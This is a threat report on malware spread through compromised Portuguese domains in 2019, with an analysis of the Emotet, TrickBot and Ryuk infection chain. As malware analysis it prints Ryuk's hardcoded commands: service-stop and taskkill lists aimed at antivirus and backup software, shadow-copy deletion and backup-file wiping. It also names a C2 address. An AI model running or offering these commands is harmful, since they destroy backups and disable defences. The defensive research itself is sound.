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EXECUTIVE SUMMARY

We are living in an era where malware is a part of our cyber life and a real threat that professionals
need to be equipped to face. The term  malware  has made headlines as a result of widespread
waves of malware and phishing campaigns. 

In Portugal, there is a lack of data regarding the compromise of Portuguese domains and the type of
malware used for these attacks. In this report, we show that Portuguese domains have been used in
malware campaigns and we performed an analysis of these ones regarding the number of incidence
in Q1-Q4 of 2019. Additionally, we demonstrate that Emotet was the most spread malware around
the globe and was reinforced with fresh capabilities on mid-September 2019; including the use of
the Ryuk ransomware.  

This information should be harnessed by cyber professionals to protect their people, organizations
and data throughout the implementation of the right security resources by default in their business.
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THE MODUS OPERANDI OF A MALWARE CHAIN

Malware is  a piece of  software that  is  intended to  cause damage on the targeted systems or
networks. This computer program is quite different from the legitimate ones in the way that most of
them have the ability to spread themselves in the network while remaining undetectable, avoiding
antivirus  detection,  causing  changes and critical  damage on the infected systems or  networks.
Advanced  techniques  of  persistence  are  used  to  maintain  the malware  active  for  a  long  time,
potentially impacting a specific and targeted system for months, years or even decades.

According to the abuse databases scrutinized in this report, we observed cybersecurity incidents
using the Portuguese TLD (.pt) in several malware campaigns in-the-wild. These domains typically
support the first phase of the infection chain or make phishing landing pages available. After that,
the  victim  is  invited  to  download  the  malware  from the  compromised  server  and  the  infection
process  is  initiated.                                                      

Between malware waves, new hosts are compromised with the unique intent of supporting the first
stage of a malware chain. In general,  those servers are running old and unpatched versions of
software including unfixed Content Management Systems (CMS) such as Joomla® or WordPress®.
Also, successful brute-force attacks are performed as the administrative passwords are poor, or
even password spraying is used to get privileged access on the target system using data from the
most impacted data breaches available on the Internet.

Lately, other unpatched services such as Remote Desktop Protocol (RDP) or Server Message Block
(SMB) have been used by threat actors to conduct a number of successful attacks. Bluekeep (CVE-
2019-0708)  and  Eternalblue  (CVE-2017-0143)  are  the  most  active  attacks  in-the-wild  exploring
existing vulnerabilities on those services.
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The modus operandi of the malware chain observed along this study is usually simple, as follows:

1. Malware operators initiate a malware release and new hosts are compromised to host the
target malware. This step is crucial to spread the threat; it works as a malware repository.

2. Social engineering attack vectors are performed to distribute malware around the world or to
a specific and target location.

3. In specific kinds of malware such as Emotet, a Microsoft Word file with a malicious macro
embedded is used to achieve the next malware stage.

4. The malware is downloaded from the compromised host.
5. The malware performs malicious tasks.
6. Infected hosts communicate with the C2 server, a server managed and owned by malware

operators. 

Further tasks can be executed from this point such as lateral movement, post-exploitation of new
services  or  network  penetration  and  still  dropping  additional  payloads  including  ransomware  to
finish the chain.

Figure 1: High-level overview of a malware chain.

COMPROMISED PORTUGUESE DOMAINS SPREAD MALWARE IN-THE-WILD 
This report highlights a graph representation of some of the affected domains used to host online
phishing landing pages, and typically distributing the targeted malware then executed on the victim’s
side. As observed in Figure 2, in general, the downloaded malware is also available to download on
the same server that hosts the phishing page. There is a high chance those servers are maintained
by the same threat group, that uses the server to support the next stages of a malware chain. In
detail,  the infection chain can start with VBA macros embedded in document files, and even via
target landing pages of phishing campaigns. 
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Portuguese domains were gathered from malware feeds and indicators of compromise (IOCs) lists
and were then analyzed on VirusTotal.  Here, we can confirm that these domains were used to
spread malware files and phishing landpages (Figure 2).

Figure 2: Graph representation of two compromised Portuguese domains (.pt) from VirusTotal.
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Although most of the domains have been used to serve malware chains, phishing campaigns were
also  identified  using  the  domains.  As  depicted  in  Figure  3,  campaigns  targeting  Portuguese
organizations such as   Energia de Portugal   (EDP) and also   Autoridade Tributária e Aduaneira   (AT)
were noted.                                                                                              

Figure 3: Phishing campaigns targeting EDP and AT in Q3 2019.

From the acquired data, a total of 377 Portuguese domains from the .pt TLD were used to spread
malware  in-the-wild  during  2019.  As  observed  in  Figure  4,  there  was  a  peak  of  compromised
domains  between January  and April,  with  a  significant  volume of  85 domains.  In  the  following
months, there was a sharp decrease, with 8 compromised domains registered in August. Closing
the third quarter of 2019, September registered a significant increase with 17 legitimate domains
compromised and used in-the-wild to support malware threats. December with 29 domains opened
doors to 2020 indicating that the beginning of the new year should maintain the observed trend.
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Figure 4: Number of domains (.pt) compromised during Q1-Q4 of 2019.

Figure 5: Compromised Portuguese domains (.pt TLD) grouped by category.

From the total, we organized all the compromised Portuguese domains according to the country
where the server was hosted and available (Figure 6). The greatest portion is relative to Portugal,
with 58.6% of the compromised servers, followed by the United States of America with 16.2%, the
United Kingdom with 6.6% and France with 6.4% of the total.
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Figure 6: Compromised webservers grouped by location from the total of analyzed Portuguese domains.

Figure 7 shows the details related to the domains and compromised servers during Q1-Q4 2019. As
shown (1), 79% of websites were available on servers with Apache installed (79%), 17% with Nginx
and 4% Internet Information Services (IIS).

From  the  second  graph  (2),  PHP®  stands  out  for  the  technology  most  present  in  the  total  of
compromised servers, with a volume of 93%. Only 7% is distributed between ASP and pure HTML
websites. WordPress® was the CMS most affected by criminals (3), with a total of 60%, followed by
Joomla® with 31% and a slice of 9% reserved for other kinds of platforms.

Regarding WordPress® releases (4), we identified that 83% had installed a 5.x version, and 17%
were totally obsolete and without support from the WordPress® team. Also, 16% with 4.x and 1%
with 3.x versions were noted.

On the other hand, the graph 5 shows that 61% of Joomla® websites ran a version 3.x, 38% the
version 2.x, and 1% the version 1.x.
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Figure 7: Details about the compromised webservers (1), used technology (2), and Content Management
System - CMS (3,4 and 5).

After this analysis, we found that many websites are not operating or are currently abandoned so
far. A large portion also includes development systems, with older and vulnerable versions, which
are now used by threat actors to distribute malware and malicious campaigns in-the-wild.

As observed in Figure 8, Q1 and Q2 were compromised many domains, with 41.3% of analyzed
domains and 47% on Q2. Q3 denotes an exponential decrease and that is directly related to Emotet
absence. In Q4 a growth trend is again noted.

Figure 8: Compromised domains grouped by quarters 2019 (Q1-Q4).
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Grouping the number of threats, Emotet was used on 141 domains as illustrated in Figure 9, and
this  represents  more  than   of  the  total  of  collected  domains  during  Q1-Q4  of  2019.  Loki⅓
ransomware is placed on the 2nd position with 46 domains used to reproduce phishing campaigns
and to distribute itself. AgentTesla, Ryuk and AZOrult are in the next positions. 

Figure 9: Total of threats in Q1-Q4 2019.

Next,  after  analyzing the domains  separately,  we found that  more than  of  the compromised⅓
domains in Portugal were used in Emotet campaigns with a total of 37.4% (Fig 10), followed by Loki
(13.5%) and AgentTesla (10.9%).

Figure 10: Pie chart total of threats Q1-Q4 2019.

12 - A LANDSCAPE OF MALWARE USED ON THE PORTUGUESE TOP LEVEL DOMAIN - THREAT REPORT AND EMOTET TRIPLE CHAIN ANALYSIS IN 2019 



ACCESS LEVEL: PUBLIC 

Malware infections can be divided into different families (Figure 11), taking into account their mode
of operation. The majority of infections identified were carried out using the banking family with an
incidence of 40.1%, followed by Credential Stealer (24.1%) and Keylogger (13.8%). 

Figure 11: Infections by malware family.

Q1 and Q2 2019 are the quarters where high volume domains were compromised. 131 domains
were compromised in Q1 and 149 during Q2. Along Q3 were observed 37 and Q4 with a new grow
of 60 domains managed and used on malicious scenarios by threat actors.

Figure 12: Total malware volume by family on Q1-Q4 2019.
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THE REAL THREAT - EMOTET

Emotet trojan banker is seen as the predominant threat throughout the year 2019. However, and
according to Figure 4, there was a decrease during Q3 in the number of compromised domains
used to distribute malware or at least detected and reported around the world, including Portugal.
This decrease has a reason behind it, and once again, we need to reference Emotet malware as the
principal cause of that scenario. As noted, there was an absence of Emotet’s activity after June and
extending to July and August. The legitimate explanation for this slowdown was a fresh release
which took off in mid-September 2019. This strike, however, has highlighted other less impactful or
popular banking trojans. 

According  to  a  publication from  the  DarkReading,  “Emotet  re-emerged  toward  the  end  of
September, ending a months-long hiatus that gave banking Trojans and remote access Trojans
(RATs) room to increase in the third quarter”.

TA542, the threat group behind Emotet, re-emerged with new Emotet campaigns in September and
researchers from a large group of security firms noticed differences in how it was operating. The
group mainly followed the same template observed in the past (Figure 13). The emails are targeted
with  local-language  baits  and  brands.  Messages  often  had  financial  themes  and  contained
malicious  attachments  or  links  to  malicious  documents  with  VBA  macros  that,  when  enabled,
installed Emotet on their machines.
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Figure 13: Common phishing emails spreading Emotet (Proofpoint).
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Halloween 2019 was also an attractive chance to propagate Emotet’s messages with weaponized
Microsoft Office documents containing macros that, once executed, downloads the next malware
stage (Figure 14).

Figure 14: Emotet phishing emails on Halloween 2019 (Segurança-Informática).
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Also, a reference to Greta Thunberg was used to spread Emotet’s campaigns at the end of 2019. 

Figure 15: Emotet template: Greta Thunberg - Time Person of the Year 2019 (ThreatPost).

Emotet  spreads  using  Microsoft  Word  documents  with  malicious  macros  on  it.  Threat  actors
regularly update the visual lure used in the documents. The following collage shows many of the
lures used in Emotet’s waves.

Figure 16: Word documents lure message used by Emotet (Proofpoint).
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Although Emotet  covers longstanding targets such as the US,  the UK, Canada,  Germany,  and
Australia, TA542 expanded target countries to include Italy, Spain, Japan, Hong Kong, Singapore
and Portugal.

The banking trojan disappeared over the summer and  returned last  September dropping a new
collection of malware including information stealers, email harvesters, self-propagation mechanisms
and ransomware (Ryuk was seen on several Emotet’s fresh samples - the perfect explosive cocktail
malware).

Emotet started its activity in 2014 as a trojan banker, notwithstanding it is now used by its operators
to deliver other threats. Figure 17 shows the infection chains of Emotet observed over the years.
Nowadays, Emotet has been seen downloading Trickbot as the 2nd stage and completing the chain
dropping the ransomware called Ryuk. Typically, another two ways were also noted over the years
(Dridex dropping BitPaymer and Qbot dropping MegaCortex was a final stage).

Figure 17: Possible infection’s chains of Emotet campaigns.

In fact, Emotet can be seen as a vehicle to distribute malware in-the-wild due to its modularity.
Many times called a botnet, Emotet has re-emerged and some incidents were also noted targeting
Australian businesses, individuals, critical infrastructure and government agencies, according to the
Australian Cyber Security Centre.

“The Australian Cyber Security Centre (ACSC) raised the alarm late last week that the malicious
software had been infecting devices in Australia through phishing emails.”

18 - A LANDSCAPE OF MALWARE USED ON THE PORTUGUESE TOP LEVEL DOMAIN - THREAT REPORT AND EMOTET TRIPLE CHAIN ANALYSIS IN 2019 

https://ia.acs.org.au/article/2019/emotet-returns-to-cause-havoc-in-australia.html?utm_content=104907978&utm_medium=social&utm_source=facebook&hss_channel=fbp-132241304086570
https://ia.acs.org.au/article/2019/emotet-returns-to-cause-havoc-in-australia.html?utm_content=104907978&utm_medium=social&utm_source=facebook&hss_channel=fbp-132241304086570
https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html
https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html
https://threatpost.com/emotet-summer-vacation-stolen-email-tactic/148460/


ACCESS LEVEL: PUBLIC 

DIGGING INTO THE DETAILS
Whilst undertaking this report, we analyzed some samples using Portuguese domains (.pt) as an
initial point of proliferation in order to understand if any of the samples were targeting Portuguese
organizations. From the study, it was concluded that threat actors only compromised mass domains
(generally WordPress or Joomla installations) with the aim of distributing the threat on a large scale.

In general, Emotet modus operandi can result in the following schema and scrutinized in Figure 18.

Figure 18: Last observed Emotet’s infection chain finishing with a ransomware deploy.

THE EMOTET’S ATTACK VECTOR 
According to the analysis of some samples that had been using the Portuguese TLD, we observed
some  samples  using  PDF  files  with  embedded  links  so  that  a  PE  file  was  downloaded  from
compromised  servers.  While  most  samples  used  macros  in  Microsoft  Word  files  to  download
malicious files, recently has been noted the use of WScript to execute a JScript to install a malicious
payload.

After opening the weaponized Microsoft Office file, a typical template is presented. Emotet macros
are coded inside the doc file, with a lot of meaningless code commented in it - an old technique
used to perform antivirus evasion.
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Figure 19: Lure image presented on the weaponized Microsoft Office file.

When the execution of the macro content is enabled, a VBA AutoOpen macro is executed on the
victim’s computer. As expected from the Emotet VBA script, the strings are complex and obfuscated
and contain a lot of fragmented strings. This is a well-known technique that makes it  difficult to
detect  malicious  content  with  a  static  analysis  engine.                              

Figure 20: Emotet’s VBA macro obfuscated and Portuguese TLD hardcoded in it.
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As  observed,  some  compromised  domains  are  presented  inside  the  macro  code,  including  a
Portuguese TLD. After some deobfuscation interactions, the payload can be observed in a more
readable form in Figure 21.

Figure 21: Deobuscated Emotet’s VBA macro with Portuguese TLD hardcoded in it.

In detail, this can be seen as a living off the land (LOTD) technique used to evade antivirus engines
and to bypass the signature detection phase.

At this point, Emotet launches a Powershell request that downloads the next malware stage from
one of the compromised domains. The malware (275.exe file - line 31) is executed in memory and
starts the infection chain.

THE 2ND EMOTET STAGE - HARVESTING (TRICKBOT)
Lately, Emotet has been seen with these capabilities:

● Active Directory (Windows Logon) username and password credentials
● Brute-force local accounts using hardcoded credentials
● Credentials entered by users on banking websites
● Contents of locally stored emails
● Network sniffing
● Local process enumeration

Emotet collects a lot of sensitive information, including system name, location and operating system
version, and connects to a remote C2 server, generally hardcoded and encoded. Also, an RSA key
is used to encrypt the TCP communication with the remote C2 server, also known as command-
and-control (C&C). That key and other kinds of instructions and data are encoded and hardcoded
inside malware.

Once Emotet establishes a connection with the C2 server, it  reports a successful new infection,
receives additional configuration data, downloads and runs extra payloads, receives instructions,
and exfiltrates acquired data to the C2 server (passwords, cookies, etc).
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Figure 22: Emotet collecting cookies data on the compromised computer.

Figure 23: Emotet collecting data from browser history and cache.

After some operations, several attempts to communicate with the C2 server can be observed.

Figure 24: Emotet communicating with the C2 server located in Luxembourg.

This C2 sever from Emotet located in Luxembourg (46.29.183.211) is an active C2 server at the
moment we write this report.
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Figure 25: Emotet C2 server and samples of November 2019 (source).

As observed in Figure 26, the data sent to the C2 is encoded and can not be analyzed in a first
glance.

POST request

Figure 26: Communication between Emotet and C2 server.
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More details about Emotet’s Tactics, Techniques and Procedures (TTPs) can be consulted on the
Mitre ATT&CK matrix. 
As polymorphic malware, Emotet connects to the C2 once it has successfully infected its victim,
both to retrieve instructions for subsequent malicious activities and exfiltrate stolen data. 

According  to a  September  2019  FBI  Flash  Alert,  Emotet  has recently  been observed trying to
connect to 214 C2 IP addresses as opposed to the approximately 10 IP addresses it previously
employed. This denotes an increased growth that puts this malware on the top threads into 2020. 

EMOTET PERSISTENCE
Emotet persists through the Windows Registry or scheduled tasks and has been known to inject into
the "explorer.exe" process.

Figure 27: Registry calls can be observed on Emotet’s static analysis.

Emotet artifacts are found in arbitrary paths located off the  AppData\Local and AppData\Roaming
directories. The artifacts usually mimic the names of known executables. 
Persistence between system reboots and attempted cleaning are maintained through Scheduled
Tasks or via registry keys.

Emotet creates random filenames that are run as Windows services. These services will propagate
the  malware  to  adjacent  systems  via  administrative  shares,  using  stolen  credentials,  Server
Message Block (SMB) shares, and system vulnerabilities.
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In addition, Emotet is a multi-threat malware that in addition to targeting banking credentials, is also
used as a highly efficient gateway to serve secondary and tertiary malware. Typically, it acts as the
initial point of the infected chain, downloading to a 2nd stage other malwares including Trickbot,
Qakbot, Powershell Empire framework and many types of ransomware.

Recently, Emotet has been seen downloading extra payloads in the final stage of the chain. One of
the last occurrences is the Ryuk ransomware, that encrypts all the files available on the infected
machine or infrastructure. This campaign has been called The Triple Threat Campaign.

RYUK DETAILS
First discovered in mid-August 2018, Ryuk was the name of a character from a Japanese comic
book  series  and  is  now  a  name  associated  with  ransomware.                        

In this report, three samples from Ryuk ransomware used on cyber attacks targeted Portuguese
companies were analyzed. The samples were launched by threat actors to finish the infection chain
after initial access via Emotet.

Although this ransomware is not a novel implementation, it has been updated along the past months
by its operators. Ryuk is an improved version of Hermes ransomware. These similarities can be
identified through the graphical flow illustrated below and by comparing the source code of both
samples. 

Figure 28: Graphical representation of the Hermes and Ryuk code block.
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Anti-debug  and  VM  techniques  were  observed  inside  the  analyzed  binaries.  The  functions
IsProcessorFeaturePresent and IsDebuggerPresent were noted during the disassembling of the
three samples (Figure 29).

Figure 29: Techniques anti-debug and vm presented in Ryuk ransomware.

Ryuk enumerates all the active processes in the system, and if they are running with high privileges,
it  tries to inject  ransomware code into the processes.  However,  some processes are excluded,
namely:

● csrss.exe
● explorer.exe
● lsass.exe
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Figure 30: Processes excluded by Ryuk on the injection task.

After that, the ransomware gets all the available drives from the infected machine and creates a
new process with the target Windows drive (Figure 31, line 88).
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Figure 31: Ryuk collects all the available drives from the target machine.

The ransomware collects 7 Windows drive identifiers and pass them as an argument to the new
process. One of Ryuk's particulaires is that it performs a new encryption process for each of the
identified drives.
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According to Microsoft, all the possible values are the following.

Figure 32: All the available code-drives on a Windows operating system.

Depending on the type of drive, the ransomware injects the code into a process that meets the
requirements and a new flow begins with the following configuration.

C:\Users\Johnson\AppData\Local\Temp\TlMMhwH.exe 5 A:
C:\Users\Johnson\AppData\Local\Temp\SvmBjxd.exe 5 C:
C:\Users\Johnson\AppData\Local\Temp\TahUpja.exe 8 LAN

Format used by Ryuk:
random.exe <id> <drive>

The Ryuk executable file, based on the execution parameter, performs the following steps:

● If it is 5 then encrypt the hard disk according to the letter of the unit given as parameter;
● If it is 7 then enumerates network resources and encrypt them;
● If it is 2 then encrypt all units starting from A:, B:, C:;
● Otherwise, encrypt all units starting from Z:, Y:, X:, etc.
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If Ryuk is executed with high privileges, it tries to stop some services from running:

Figure 33: Code block where a list of target services are stopped. 

Some performed operations are:

● C:\Windows\System32\net.exe stop audioendpointbuilder /y
● C:\Windows\System32\net.exe stop samss /y
● C:\Windows\system32\net1 stop samss /y
● C:\Windows\system32\net1 stop audioendpointbuilder /y
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COMPLETE LIST OF SERVICES

stop "Acronis VSS Provider" /y
stop "Enterprise Client Service" /y
stop "Sophos Agent" /y
stop "Sophos AutoUpdate Service" /y
stop "Sophos Clean Service" /y
stop "Sophos Device Control Service" /y
stop "Sophos File Scanner Service" /y
stop "Sophos Health Service" /y
stop "Sophos MCS Agent" /y
stop "Sophos MCS Client" /y
stop "Sophos Message Router" /y
stop "Sophos Safestore Service" /y
stop "Sophos System Protection Service" /y
stop "Sophos Web Control Service" /y
stop "SQLsafe Backup Service" /y
stop "SQLsafe Filter Service" /y
stop "Symantec System Recovery" /y
stop "Veeam Backup Catalog Data Service"
/y
stop AcronisAgent /y
stop AcrSch2Svc /y
stop Antivirus /y
stop ARSM /y
stop BackupExecAgentAccelerator /y
stop BackupExecAgentBrowser /y
stop BackupExecDeviceMediaService /y
stop BackupExecJobEngine /y
stop BackupExecManagementService /y
stop BackupExecRPCService /y
stop BackupExecVSSProvider /y
stop bedbg /y
stop DCAgent /y
stop EPSecurityService /y
stop EPUpdateService /y
stop EraserSvc11710 /y
stop EsgShKernel /y
stop FA_Scheduler /y
stop IISAdmin /y
stop SMTPSvc /y
stop SNAC /y
stop SntpService /y
stop sophossps /y
stop SQLAgent$BKUPEXEC /y
stop SQLAgent$ECWDB2 /y
stop SQLAgent$PRACTTICEBGC /y
stop SQLAgent$PRACTTICEMGT /y
stop SQLAgent$PROFXENGAGEMENT /y
stop SQLAgent$SBSMONITORING /y
stop SQLAgent$SHAREPOINT /y
stop SQLAgent$SQL_2008 /y
stop SQLAgent$SYSTEM_BGC /y
stop SQLAgent$TPS /y
stop SQLAgent$TPSAMA /y
stop SQLAgent$VEEAMSQL2008R2 /y
stop SQLAgent$VEEAMSQL2012 /y
stop SQLBrowser /y
stop SQLSafeOLRService /y
stop SQLSERVERAGENT /y
stop SQLTELEMETRY /y
stop SQLTELEMETRY$ECWDB2 /y
stop SQLWriter /y
stop SstpSvc /y
stop svcGenericHost /y
stop swi_filter /y

stop IMAP4Svc /y
stop macmnsvc /y
stop masvc /y
stop MBAMService /y
stop MBEndpointAgent /y
stop McAfeeEngineService /y
stop McAfeeFramework /y
stop McAfeeFrameworkMcAfeeFramework /
y
stop McShield /y
stop McTaskManager /y
stop mfemms /y
stop mfevtp /y
stop MMS /y
stop mozyprobackup /y
stop MsDtsServer /y
stop MsDtsServer100 /y
stop MsDtsServer110 /y
stop MSExchangeES /y
stop MSExchangeIS /y
stop MSExchangeMGMT /y
stop MSExchangeMTA /y
stop MSExchangeSA /y
stop MSExchangeSRS /y
stop MSOLAP$SQL_2008 /y
stop MSOLAP$SYSTEM_BGC /y
stop MSOLAP$TPS /y
stop MSOLAP$TPSAMA /y
stop MSSQL$BKUPEXEC /y
stop MSSQL$ECWDB2 /y
stop MSSQL$PRACTICEMGT /y
stop MSSQL$PRACTTICEBGC /y
stop MSSQL$PROFXENGAGEMENT /y
stop MSSQL$SBSMONITORING /y
stop MSSQL$SHAREPOINT /y
stop MSSQL$SQL_2008 /y
stop MSSQL$SYSTEM_BGC /y
stop MSSQL$TPS /y
stop swi_service /y
stop swi_update_64 /y
stop TmCCSF /y
stop tmlisten /y
stop TrueKey /y
stop TrueKeyScheduler /y
stop TrueKeyServiceHelper /y
stop UI0Detect /y
stop VeeamBackupSvc /y
stop VeeamBrokerSvc /y
stop VeeamCatalogSvc /y
stop VeeamCloudSvc /y
stop VeeamDeploymentService /y
stop VeeamDeploySvc /y
stop VeeamEnterpriseManagerSvc /y
stop VeeamMountSvc /y
stop VeeamNFSSvc /y
stop VeeamRESTSvc /y
stop VeeamTransportSvc /y
stop W3Svc /y
stop wbengine /y
stop WRSVC /y
stop MSSQL$VEEAMSQL2008R2 /y
stop SQLAgent$VEEAMSQL2008R2 /y
stop VeeamHvIntegrationSvc /y
stop swi_update /y

stop MSSQL$TPSAMA /y
stop MSSQL$VEEAMSQL2008R2 /y
stop MSSQL$VEEAMSQL2012 /y
stop MSSQLFDLauncher /y
stop 
MSSQLFDLauncher$PROFXENGAGEMEN
T /y
stop 
MSSQLFDLauncher$SBSMONITORING /y
stop MSSQLFDLauncher$SHAREPOINT /y
stop MSSQLFDLauncher$SQL_2008 /y
stop MSSQLFDLauncher$SYSTEM_BGC /y
stop MSSQLFDLauncher$TPS /y
stop MSSQLFDLauncher$TPSAMA /y
stop MSSQLSERVER /y
stop MSSQLServerADHelper100 /y
stop MSSQLServerOLAPService /y
stop MySQL80 /y
stop MySQL57 /y
stop ntrtscan /y
stop OracleClientCache80 /y
stop PDVFSService /y
stop POP3Svc /y
stop ReportServer /y
stop ReportServer$SQL_2008 /y
stop ReportServer$SYSTEM_BGC /y
stop ReportServer$TPS /y
stop ReportServer$TPSAMA /y
stop RESvc /y
stop sacsvr /y
stop SamSs /y
stop SAVAdminService /y
stop SAVService /y
stop SDRSVC /y
stop SepMasterService /y
stop ShMonitor /y
stop Smcinst /y
stop SmcService /y
stop SQLAgent$CXDB /y
stop SQLAgent$CITRIX_METAFRAME /y
stop "SQL Backups" /y
stop MSSQL$PROD /y
stop "Zoolz 2 Service" /y
stop MSSQLServerADHelper /y 
stop SQLAgent$PROD /y 
stop msftesql$PROD /y 
stop NetMsmqActivator /y
stop EhttpSrv /y
stop ekrn /y
stop ESHASRV /y
stop MSSQL$SOPHOS /y
stop SQLAgent$SOPHOS /y
stop AVP /y
stop klnagent /y
stop MSSQL$SQLEXPRESS /y
stop SQLAgent$SQLEXPRESS /y
stop wbengine /y
stop kavfsslp /y
stop KAVFSGT /y
stop KAVFS /y
stop mfefire /y

Some processes are also killed during the ransomware execution.
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Figure 34: Code block where some processes are killed.

The final command is presented below. In this case, it is using outlook.exe (one of the processes
running in the machine):

●  C:\Windows\System32\taskkill.exe /IM outlook.exe /F
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THE COMPLETE LIST OF HARDCODED PROCESS INSIDE THE RYUK RANSOMWARE

/IM veeam /F
/IM xchange /F
/IM dbeng /F
/IM sofos /F
/IM calc /F
/IM ekrn /F
/IM zoolz /F
/IM encsvc /F
/IM excel /F
/IM firefoxconfig /F
/IM infopath /F
/IM msaccess /F
/IM mspub /F
/IM mydesktop /F
/IM ocautoupds /F
/IM ocomm /F
/IM ocssd /F
/IM onenote /F
/IM oracle /F
/IM outlook /F
/IM powerpnt /F
/IM sqbcoreservice /F
/IM steam /F
/IM synctime /F
/IM tbirdconfig /F
/IM thebat /F
/IM thunderbird /F
/IM visio /F
/IM word /F
/IM xfssvccon /F
/IM tmlisten /F
/IM PccNTMon /F
/IM CNTAoSMgr /F
/IM Ntrtscan /F
/IM mbamtray /F
/IM Back /F
/IM ackup /F
/IM acronis /F
/IM Veeam /F
/IM AcrSch /F
/IM bedbg /F
/IM DCAgent /F
/IM EPSecurity /F
/IM EPUpdate /F
/IM Eraser /F
/IM EsgShKernel /F

/IM FA_Scheduler /F
/IM IISAdmin /F
/IM MBAM /F
/IM Endpoint /F
/IM Afee /F
/IM McShield /F
/IM Task /F
/IM mfemms /F
/IM mfevtp /F
/IM MsDts /F
/IM Exchange /F
/IM ntrt /F
/IM PDVF /F
/IM Report /F
/IM RESvc /F
/IM sacsvr /F
/IM SAVAdmin /F
/IM SamS /F
/IM SDRSVC /F
/IM SepMaster /F
/IM Smcinst /F
/IM SmcService /F
/IM SNAC /F
/IM swi_ /F
/IM CCSF /F
/IM TrueKey /F
/IM UI0Detect /F
/IM WRSVC /F
/IM NetMsmq /F
/IM EhttpSrv /F
/IM ESHASRV /F
/IM klnagent /F
/IM wbengine /F
/IM KAVF /F
/IM mfefire /F
/IM hrmlog /F
/IM zoolz.exe /F
/IM agntsvc.exe /F
/IM dbeng50.exe /F
/IM dbsnmp.exe /F
/IM encsvc.exe /F
/IM excel.exe /F
/IM firefoxconfig.exe /F
/IM infopath.exe /F
/IM isqlplussvc.exe /F
/IM msaccess.exe /F

/IM msftesql.exe /F
/IM mspub.exe /F
/IM mydesktopqos.exe /F
/IM mydesktopservice.exe /F
/IM mysqld.exe /F
/IM mysqld-nt.exe /F
/IM mysqld-opt.exe /F
/IM ocautoupds.exe /F
/IM ocomm.exe /F
/IM ocssd.exe /F
/IM onenote.exe /F
/IM oracle.exe /F
/IM outlook.exe /F
/IM powerpnt.exe /F
/IM sqbcoreservice.exe /F
/IM sqlagent.exe /F
/IM sqlbrowser.exe /F
/IM sqlservr.exe /F
/IM sqlwriter.exe /F
/IM steam.exe /F
/IM synctime.exe /F
/IM tbirdconfig.exe /F
/IM thebat.exe /F
/IM thebat64.exe /F
/IM thunderbird.exe /F
/IM visio.exe /F
/IM winword.exe /F
/IM wordpad.exe /F
/IM xfssvccon.exe /F
/IM tmlisten.exe /F
/IM PccNTMon.exe /F
/IM CNTAoSMgr.exe /F
/IM Ntrtscan.exe /F
/IM mbamtray.exe /F

The list  of  services  and processes has grown over  time.  In  total,  one of  the analyzed sample
contains 184 services and 126 processes. The services are related to AV companies, backups,
database programs and others. The processes are related to email services, word processors and
others.

Another interesting detail  is that Ryuk also deletes some files from the destination machine. As
shown, shadow copies and some files with backup extensions are also deleted from the target
machine.
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Figure 35: Shadow backups and some backup files are deleted from the machine.

vssadmin Delete Shadows /all /quiet
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
vssadmin Delete Shadows /all /quiet
del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
del /s /f /q d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\backup*.* d:\*.set d:\*.win d:\*.dsk
del /s /f /q e:\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\*.bkf e:\Backup*.* e:\backup*.* e:\*.set e:\*.win e:\*.dsk
del /s /f /q f:\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\*.bkf f:\Backup*.* f:\backup*.* f:\*.set f:\*.win f:\*.dsk
del /s /f /q g:\*.VHD g:\*.bac g:\*.bak g:\*.wbcat g:\*.bkf g:\Backup*.* g:\backup*.* g:\*.set g:\*.win g:\*.dsk
del /s /f /q h:\*.VHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup*.* h:\backup*.* h:\*.set h:\*.win h:\*.dsk
del %0

For each drive identified on the machine, Ryuk drops a new file in the user’s public directory that will
run and encrypt a specific Windows drive. This piece of malware validates the folder existence for
either newer or older operating systems versions.
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Figure 36: Malware validates the existence of certain directories where the binaries will  be dropped and
executed.

“\\Documents and Settings\\Default User\”“\\users\\Public\  \  ”                                            

For instance, If two drives are identified, A and C, the binary drops two new binaries into the  temp
directory:

● C:\Users\Johnson\AppData\Local\Temp\TlMMhwH.exe
● C:\Users\Johnson\AppData\Local\Temp\SvmBjxd.exe

These binaries are then executed for  the drivers:                                              

● C:\Users\Johnson\AppData\Local\Temp\TlMMhwH.exe 5 A:
● C:\Users\Johnson\AppData\Local\Temp\SvmBjxd.exe 5 C:

In the same directory, a ransom note is also dropped:
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Figure 37: Ransom note dropped into the specific folders.

When the ransomware starts encrypting machine files, it creates a file called “sys” that serves as a
flag to identify the beginning of the encryption operation.
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Figure 38: Sys file is created to identify the beginning of the encryption process.
In contrast, a file called “finish” is also created when the malware ends the encryption process.

Figure 39: “Finish” file created when the ransomware terminates the encryption process.

Up to this point, Ryuk's parent process, child processes, and all the running processes infected (via
injection) by Ryuk have been created. The encryption process begins at this point, and each binary
starts the encryption process in accordance to the assigned drive.

The flow graph on the encryption process is presented in Figure 40.
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Figure 40: Graph flow that describes the Ryuk encryption process.

During the encryption process, we can see that Ryuk has some exceptions.

Figure 41: Files and directories skipped by Ryuk.
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The folder named "AhnLab", is one of the skipped folders. It refers to the homonymous Korean anti-
virus, as we indicated previously Ryuk has extreme similarities to Hermes ransomware.

The following extensions will not be encrypted as well:
● .dll
● .exe
● .hrmlog

